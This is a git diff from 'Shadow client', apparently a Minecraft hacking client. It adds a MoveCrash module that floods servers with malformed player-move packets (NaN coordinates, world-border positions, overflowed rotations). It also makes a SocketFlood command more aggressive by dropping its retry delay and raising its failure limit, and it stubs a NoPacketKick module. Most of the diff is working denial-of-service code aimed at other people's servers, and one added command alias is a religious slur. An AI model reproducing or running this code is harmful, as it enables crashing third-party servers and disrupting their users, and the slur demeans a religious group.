diff --git a/src/main/java/net/shadow/client/feature/command/impl/ServerCrash.java b/src/main/java/net/shadow/client/feature/command/impl/ServerCrash.java index 1ec342e..c1d5801 100644 --- a/src/main/java/net/shadow/client/feature/command/impl/ServerCrash.java +++ b/src/main/java/net/shadow/client/feature/command/impl/ServerCrash.java @@ -46,7 +46,7 @@ public class ServerCrash extends Command { @Override public PossibleArgument getSuggestionsWithType(int index, String[] args) { - return StaticArgumentServer.serveFromStatic(index, new PossibleArgument(ArgumentType.STRING, "rider", "book", "malformednbt", "move", "papertest", "chunkoob", "mvcrash", "stackoverflow", "playtime", "playtimeold", "maptool", "fawe", "lag", "pineapple"), new PossibleArgument(ArgumentType.NUMBER, "(power)")); + return StaticArgumentServer.serveFromStatic(index, new PossibleArgument(ArgumentType.STRING, "rider", "book", "malformednbt", "move", "papertest", "chunkoob", "mvcrash", "stackoverflow", "playtime", "playtimeold", "maptool", "fawe", "lag"), new PossibleArgument(ArgumentType.NUMBER, "(power)")); } @Override diff --git a/src/main/java/net/shadow/client/feature/command/impl/SocketFlood.java b/src/main/java/net/shadow/client/feature/command/impl/SocketFlood.java index 9f8154c..087dd67 100644 --- a/src/main/java/net/shadow/client/feature/command/impl/SocketFlood.java +++ b/src/main/java/net/shadow/client/feature/command/impl/SocketFlood.java @@ -22,7 +22,7 @@ public class SocketFlood extends Command { static final int[] PAYLOAD = new int[] { 0x3, 0x1, 0x0, 0xffffffbb, 0x1, 0x0, 0x0, 0xffffffb7, 0x3, 0x3, 0xffffffcb, 0xffffff82, 0xffffffae, 0x53, 0x15, 0xfffffff6, 0x79, 0x2, 0xffffffc2, 0xb, 0xffffffe1, 0xffffffc2, 0x6a, 0xfffffff8, 0x75, 0xffffffe9, 0x32, 0x23, 0x3c, 0x39, 0x3, 0x3f, 0xffffffa4, 0xffffffc7, 0xffffffb5, 0xffffff88, 0x50, 0x1f, 0x2e, 0x65, 0x21, 0x0, 0x0, 0x48, 0x0, 0x2f }; public SocketFlood() { - super("SocketFlood", "Flood the servers console using sockets", "sflood", "socketflood"); + super("SocketFlood", "Flood the servers console using sockets", "sflood", "socketflood", "allahcrash"); } @Override @@ -44,10 +44,9 @@ public class SocketFlood extends Command { sockets.add(s); } catch (Exception ignored) { message("server refused new socket"); - Utils.sleep(500); c++; } - if (c > 10) { + if (c > 1000) { message("firing early since we got over 1000 closed sockets"); break; } diff --git a/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java b/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java index ff44229..81967b5 100644 --- a/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java +++ b/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java @@ -32,6 +32,7 @@ import net.shadow.client.feature.module.impl.crash.InteractCrash; import net.shadow.client.feature.module.impl.crash.LecternCrash; import net.shadow.client.feature.module.impl.crash.LoominaCrash; import net.shadow.client.feature.module.impl.crash.MinehutCrash; +import net.shadow.client.feature.module.impl.crash.MoveCrash; import net.shadow.client.feature.module.impl.crash.OOBCrash; import net.shadow.client.feature.module.impl.crash.PacketCrash; import net.shadow.client.feature.module.impl.crash.PaintingCrash; @@ -68,6 +69,7 @@ import net.shadow.client.feature.module.impl.misc.DiscordRPC; import net.shadow.client.feature.module.impl.misc.InfChatLength; import net.shadow.client.feature.module.impl.misc.ItemPuke; import net.shadow.client.feature.module.impl.misc.MoreChatHistory; +import net.shadow.client.feature.module.impl.misc.NoPacketKick; import net.shadow.client.feature.module.impl.misc.NoSRP; import net.shadow.client.feature.module.impl.misc.NoTitles; import net.shadow.client.feature.module.impl.misc.PortalGUI; @@ -367,6 +369,8 @@ public class ModuleRegistry { registerModule(NoSRP.class); registerModule(NoSwing.class); registerModule(RequestCrash.class); + registerModule(NoPacketKick.class); + registerModule(MoveCrash.class); rebuildSharedModuleList(); diff --git a/src/main/java/net/shadow/client/feature/module/impl/crash/MoveCrash.java b/src/main/java/net/shadow/client/feature/module/impl/crash/MoveCrash.java new file mode 100644 index 0000000..abd4fc5 --- /dev/null +++ b/src/main/java/net/shadow/client/feature/module/impl/crash/MoveCrash.java @@ -0,0 +1,111 @@ +/* + * Copyright (c) Shadow client, Saturn5VFive and contributors 2022. All rights reserved. + */ + +package net.shadow.client.feature.module.impl.crash; + +import net.minecraft.client.util.math.MatrixStack; +import net.shadow.client.feature.config.DoubleSetting; +import net.shadow.client.feature.config.EnumSetting; +import net.shadow.client.feature.module.Module; +import net.shadow.client.feature.module.ModuleType; +import net.minecraft.client.network.ClientPlayerEntity; +import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket; +import net.minecraft.world.World; +import java.util.Random; + +public class MoveCrash extends Module { + + final EnumSetting mode = this.config.create(new EnumSetting.Builder<>(Mode.GradMove).name("Mode").description("what to crash usin").get()); + final DoubleSetting pwr = this.config.create(new DoubleSetting.Builder(500).min(1).max(1000).name("Power").description("Power to crash with").get()); + + public MoveCrash() { + super("MoveCrash", "Crash using move packets", ModuleType.CRASH); + } + + @Override + public void tick() { + ClientPlayerEntity player = client.player; + + switch(mode.getValue()){ + case Static -> { + Random r = new Random(); + for (int i = 0; i < pwr.getValue(); i++) { + client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.OnGroundOnly(r.nextBoolean())); + } + } + + case GradMove -> { + for (int i = 0; i < pwr.getValue(); i++) { + client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(player.getX() + (i * 10000), player.getY(), player.getZ() + (i * 10000), true)); + } + } + + case Snap -> { + for (int i = 0; i < pwr.getValue(); i++) { + client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(29999999, player.getY(), 29999999, true)); + } + } + + case Rotate -> { + for (int i = 0; i < pwr.getValue(); i++) { + client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.LookAndOnGround(Float.MAX_VALUE + 1, Float.MIN_VALUE - 1, new Random().nextBoolean())); + } + } + + case Verus -> { + if (client.player.age % 100 == 0) { + for (int i = 0; i < pwr.getValue(); i++) { + player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(player.getX(), player.getY() - 1.0, player.getZ(), false)); + player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(player.getX(), Double.MAX_VALUE, player.getZ(), false)); + } + } + } + + case NaN -> { + for (int i = 0; i < pwr.getValue(); i++) { + client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(Double.NaN, Double.NaN, Double.NaN, true)); + } + } + + case Tiny -> { + for (int i = 0; i < pwr.getValue(); i++) { + client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(player.getX() + (i * 954), player.getY(), player.getZ() + (i * 954), true)); + } + } + } + } + + @Override + public void enable() { + } + + @Override + public void disable() { + } + + @Override + public String getContext() { + return mode.getValue().name(); + } + + @Override + public void onWorldRender(MatrixStack matrices) { + + } + + @Override + public void onHudRender() { + + } + + public enum Mode{ + Static, + GradMove, + Snap, + Rotate, + Verus, + NaN, + Tiny, + } +} diff --git a/src/main/java/net/shadow/client/feature/module/impl/misc/NoPacketKick.java b/src/main/java/net/shadow/client/feature/module/impl/misc/NoPacketKick.java new file mode 100644 index 0000000..e5f5b9b --- /dev/null +++ b/src/main/java/net/shadow/client/feature/module/impl/misc/NoPacketKick.java @@ -0,0 +1,47 @@ +/* + * Copyright (c) Shadow client, Saturn5VFive and contributors 2022. All rights reserved. + */ + +package net.shadow.client.feature.module.impl.misc; + +import net.minecraft.client.util.math.MatrixStack; +import net.shadow.client.feature.config.DoubleSetting; +import net.shadow.client.feature.module.Module; +import net.shadow.client.feature.module.ModuleType; + +public class NoPacketKick extends Module { + + final DoubleSetting max = this.config.create(new DoubleSetting.Builder(250).min(100).max(1000).get()); + + public NoPacketKick() { + super("NoPacketKick", "Dont get kick for packet thats sad", ModuleType.MISC); + } + + @Override + public void tick() { + + } + + @Override + public void enable() { + } + + @Override + public void disable() { + } + + @Override + public String getContext() { + return null; + } + + @Override + public void onWorldRender(MatrixStack matrices) { + + } + + @Override + public void onHudRender() { + + } +}